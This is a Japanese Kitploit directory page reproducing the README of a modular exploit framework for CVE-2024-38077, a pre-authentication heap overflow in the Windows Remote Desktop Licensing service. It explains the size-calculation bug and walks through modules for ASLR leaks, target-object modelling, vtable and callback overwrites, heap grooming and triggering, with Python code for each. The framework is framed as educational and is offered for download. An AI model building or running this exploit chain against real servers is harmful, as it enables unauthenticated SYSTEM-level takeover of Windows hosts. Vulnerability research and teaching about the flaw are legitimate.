Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-38077-MadLicense-exploit — CVE-2024-38077(Windows RDL ヒープオーバーフロー)向けのモジュール式エクスプロイトフレームワーク。ASLRバイパス、ヒープグルーミング、ROPチェーン生成、DLLインジェクションペイロードを備え、事前認証なしのリモートコード実行を実現します。 | Kitploit
ツール/GitHubGitHub/ermensonx/cve-2024-38077-madlicense-exploit
エクスプロイトフレームワーク脆弱性分析エクスプロイトリバースエンジニアリングシェルコードペネトレーションテスト学習と教育ペイロード開発バイナリエクスプロイト
GitHubermensonx/cve-2024-38077-madlicense-exploit

CVE-2024-38077-MadLicense-exploit

CVE-2024-38077(Windows RDL ヒープオーバーフロー)向けのモジュール式エクスプロイトフレームワーク。ASLRバイパス、ヒープグルーミング、ROPチェーン生成、DLLインジェクションペイロードを備え、事前認証なしのリモートコード実行を実現します。

リポジトリを見る
1129ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-38077 MadLicense - 完全なエクスプロイトフレームワーク

📚 プレゼンテーション用技術ドキュメント

このドキュメントでは、フレームワークの各コンポーネント、存在理由、および最新Windowsでのヒープバッファオーバーフローエクスプロイトの仕組みを説明します。


🎯 CVE-2024-38077 とは?

脆弱性

Windows Remote Desktop Licensing Service(lserver.exe)は、CDataCoding::DecodeData 関数にヒープバッファオーバーフローが存在します。

┌─────────────────────────────────────────────────────────────┐
│  脆弱性: サイズ計算の誤り                                   │
├─────────────────────────────────────────────────────────────┤
│  1. クライアントがサイズNのBase64データを送信              │
│  2. サーバーが計算: buffer_size = (N / 4) * 3              │
│  3. サーバーが 'buffer_size' バイトのバッファを割り当て     │
│  4. 実際のBase64デコード: ceil(N * 3/4) バイト書き込み      │
│  5. Nが4の倍数でない場合: オーバーフロー!                  │
└─────────────────────────────────────────────────────────────┘

具体的な例:

  • 入力: 4001 バイト
  • サーバーの計算: (4001 / 4) * 3 = 1000 * 3 = 3000 バイト割り当て
  • 実際のデコード: ceil(4001 * 0.75) = 3001 バイト書き込み
  • オーバーフロー: 1 バイト (ただし、さらに制御可能)

なぜクリティカルか?

  1. Pre-Auth: 資格情報不要
  2. リモート: ネットワーク経由、ポート135(RPC)
  3. SYSTEM: サービスは NT AUTHORITY\SYSTEM として動作
  4. 広範囲: Windows Server 2000-2025 が影響

🏗️ フレームワークのアーキテクチャ

モジュール概要

┌─────────────────────────────────────────────────────────────────┐
│                      エクスプロイトチェーン                       │
├──────────┬──────────┬──────────┬──────────┬──────────┬─────────┤
│  LEAK    │  MODEL   │  WRITE   │  GROOM   │ TRIGGER  │ EXECUTE │
│ (ASLR)   │ (Target) │ (Where)  │ (Heap)   │ (Use)    │ (RCE)   │
├──────────┼──────────┼──────────┼──────────┼──────────┼─────────┤
│ leak.py  │target_   │write_    │heap_     │trigger   │code_    │
│          │model.py  │primitive │controller│.py       │reuse.py │
│          │          │.py       │.py       │          │         │
└──────────┴──────────┴──────────┴──────────┴──────────┴─────────┘
          ↓                                              ↓
    ┌───────────┐                              ┌──────────────┐
    │ execution │                              │   payload    │
    │   .py     │                              │     .py      │
    └───────────┘                              └──────────────┘
          ↓                                              ↓
    ┌───────────────────────────────────────────────────────────┐
    │                    mitigations.py                         │
    │              (DEP、ASLR、CFG 認識)                       │
    └───────────────────────────────────────────────────────────┘
                              ↓
    ┌───────────────────────────────────────────────────────────┐
    │                      exploit.py                           │
    │                   (オーケストレーター)                    │
    └───────────────────────────────────────────────────────────┘

📦 モジュール 1: primitives.py - 基礎

概要

メモリ操作のための低レベルユーティリティ。

存在理由

エクスプロイトには以下が必要:

  • 型変換(int ↔ bytes)
  • クラッシュ解析用パターン生成
  • データの適切なアラインメント

主要関数

# Pack/Unpack - 整数とバイトの相互変換
p64(0xDEADBEEF)      # → b'\xef\xbe\xad\xde\x00\x00\x00\x00'
p32(0x41414141)      # → b'AAAA'
u64(b'\x41\x42...')  # → 0x... (int)

# 巡回パターン - クラッシュオフセットの特定用
cyclic(100)          # De Bruijn シーケンス生成
cyclic_find(pattern, value)  # 値のオフセット検出

# アラインメント - メモリは整列が必要
align(0x1003, 0x10)  # → 0x1010(16バイト境界に整列)

なぜ重要か?

現実の問題: クラッシュが発生し、RIP に 0x61616171 が入っている。

  • cyclic なし: 「バッファのどこか…」
  • cyclic あり: cyclic_find(pattern, 0x61616171) → 正確なオフセット!

📦 モジュール 2: leak.py - ASLR バイパス

ASLR とは?

Address Space Layout Randomization: ブート/実行のたびにアドレスが変わる。

ブート1:  ntdll.dll @ 0x7FFA12340000
ブート2:  ntdll.dll @ 0x7FFB98760000
ブート3:  ntdll.dll @ 0x7FFC55550000

なぜリークが必要か?

メモリの位置がわからないと:

  • ペイロードをどこに置くか不明
  • ROP ガジェットのアドレスが不明
  • 試行 = ランダムクラッシュ

モジュール構造

class LeakInfo:
    """リークされたアドレスを格納するコンテナ"""
    heap_base: int         # ヒープベース
    ntdll_base: int        # ntdll.dll ベース
    kernel32_base: int     # kernel32.dll ベース
    # ...

class LeakProvider:
    """リークソースのオーケストレーター"""
    sources: List[LeakSource]
    
    def obtain() -> LeakInfo:
        # 各ソースを成功するまで試行

実装されたリークソース

ソース動作方法使用時
ManualLeakSourceユーザーがアドレスを指定ラボ/デバッグ(ターゲットにアクセス可能)
ResponseLeakSourceRPC応答から抽出サービスがポインタを漏洩する場合
TimingLeakSourceタイミングサイドチャネル理論上、非常に困難

なぜ手動入力?

デモ/ラボでは、次のことが可能:

  1. ターゲットにデバッガをアタッチ
  2. モジュールのベースを確認
  3. --ntdll-base 0x7ffa... で指定

これにより、実際のリークをシミュレートし、チェーンの残りの部分をテストできます。


📦 モジュール 3: target_model.py - ターゲットのマッピング

概要

脆弱なデータ構造と隣接するデータ構造のモデリング。

存在理由

オーバーフロー ≠ エクスプロイト。以下を知る必要がある:

  • 何を上書きしているのか?
  • オブジェクトのサイズは?
  • どのフィールドを破壊すると有用か?

コンポーネント

class VulnerableBuffer:
    """オーバーフローが発生するバッファ"""
    allocation_size: int   # 割り当てられたサイズ
    write_size: int        # 書き込まれるサイズ
    overflow_amount: int   # 差分 = オーバーフロー量
    
    def calculate_overflow(input_size):
        # 計算バグのシミュレーション
        alloc = (input_size // 4) * 3
        actual = ((input_size + 3) // 4) * 3
        return alloc, actual, actual - alloc

class AdjacentObject:
    """破壊されるオブジェクト(ヒープ上で隣接)"""
    fields: List[StructField]
    has_vtable: bool       # 仮想テーブルを持つか?
    has_function_ptr: bool # 関数ポインタを持つか?

ターゲット構造の例

# リバースエンジニアリングに基づく仮想的なオブジェクト
license_req = AdjacentObject(
    name="CLicenseRequest",
    typical_size=0x100,
    has_vtable=True
)

# マッピングされたフィールド
license_req.add_field("vtable",   0x00, 8, VTABLE,   is_target=True)
license_req.add_field("refcount", 0x08, 4, REFCOUNT)
license_req.add_field("callback", 0x10, 8, CALLBACK, is_target=True)

is_target=True の理由

エクスプロイトに有用なフィールドを示す:

  • vtable: 上書きするとメソッド呼び出しを制御可能
  • callback: 上書きするとコールバック呼び出しを制御可能

📦 モジュール 4: write_primitive.py - 制御された書き込み

問題

オーバーフローは連続データを書き込む。しかし、以下が必要:

  • 特定の値(ROPアドレス)を書き込む
  • 特定のオフセット(vtableポインタがある場所)に書き込む

解決策

class WritePrimitive:
    def build_overflow_data(self) -> bytes:
        """
        正確な値でオーバーフローバッファを構築
        
        レイアウト:
        [オフセットまでのパディング] [制御された値] [さらにデータ]
        """
        data = bytearray(b"A" * max_offset)
        
        for target in self.targets:
            # 正確なオフセットに正確な値を配置
            data[target.offset:target.offset+8] = p64(target.value)
        
        return bytes(data)

上書きの種類

# vtable の上書き
write_primitive.set_vtable_overwrite(
    vtable_addr=fake_vtable_address,
    obj_name="CLicenseRequest"
)

# コールバックの上書き
write_primitive.set_callback_overwrite(
    callback_addr=gadget_address
)

なぜゴミを書き込むだけでは不十分か?

書き込み結果
AAAA...制御不能なクラッシュ
正確なオフセットに正確なアドレス制御された実行

📦 モジュール 5: heap_controller.py - ヒープグルーミング

最新ヒープの課題

Windows は LFH(Low Fragmentation Heap) と Segment Heap を使用:

  • 割り当てはランダム化
  • レイアウトは予測不能
  • ヒープガードが破損を検出

解決策: グルーミング

グルーミング = ヒープを決定的なレイアウトに整形。

グルーミング前:
┌────┬────┬────┬────┬────┬────┐
│ ?? │ ?? │ ?? │ ?? │ ?? │ ?? │
└────┴────┴────┴────┴────┴────┘
ランダムな割り当て、予測不能な穴

グルーミング後:
┌────┬────┬────┬────┬────┬────┐
│SPAM│SPAM│HOLE│SPAM│SPAM│HOLE│
└────┴────┴────┴────┴────┴────┘
制御されたレイアウト、望みの場所に「穴」

グルーミングのフェーズ

class HeapLayoutController:
    def execute_full_groom(self):
        # フェーズ1: 既存の穴を埋める
        self.phase_fill(50)
        
        # フェーズ2: ターゲットバケットのLFHを有効化
        # (Windowsは同じサイズの割り当て約17回後にLFHを有効化)
        self.phase_activate_lfh()
        
        # フェーズ3: スプレー - 密なパターンを作成
        sprayed = self.phase_spray(200)
        
        # フェーズ4: 戦略的な穴を作成
        # N回の割り当てごとに解放
        self.phase_create_holes(sprayed, interval=4)
        
        # フェーズ5: 安定化
        self.phase_stabilize()

なぜ機能するのか?

  1. ヒープを自分のオブジェクトで埋める
  2. 定期的な間隔で「穴」を作成
  3. サーバーが脆弱バッファを割り当てる時…
  4. …高い確率で穴に配置される
  5. …破壊できる自分のオブジェクトに隣接

📦 モジュール 6: trigger.py - 破壊後のトリガー

問題

破壊が発生した。次は?

現在の状態:
- メモリ破損 ✓
- 悪意のある値書き込み ✓
- しかし、まだその値は使用されていない!

解決策: 使用を強制

プログラムに破損データを読み取らせ、使用させる必要がある。

ツールをダウンロード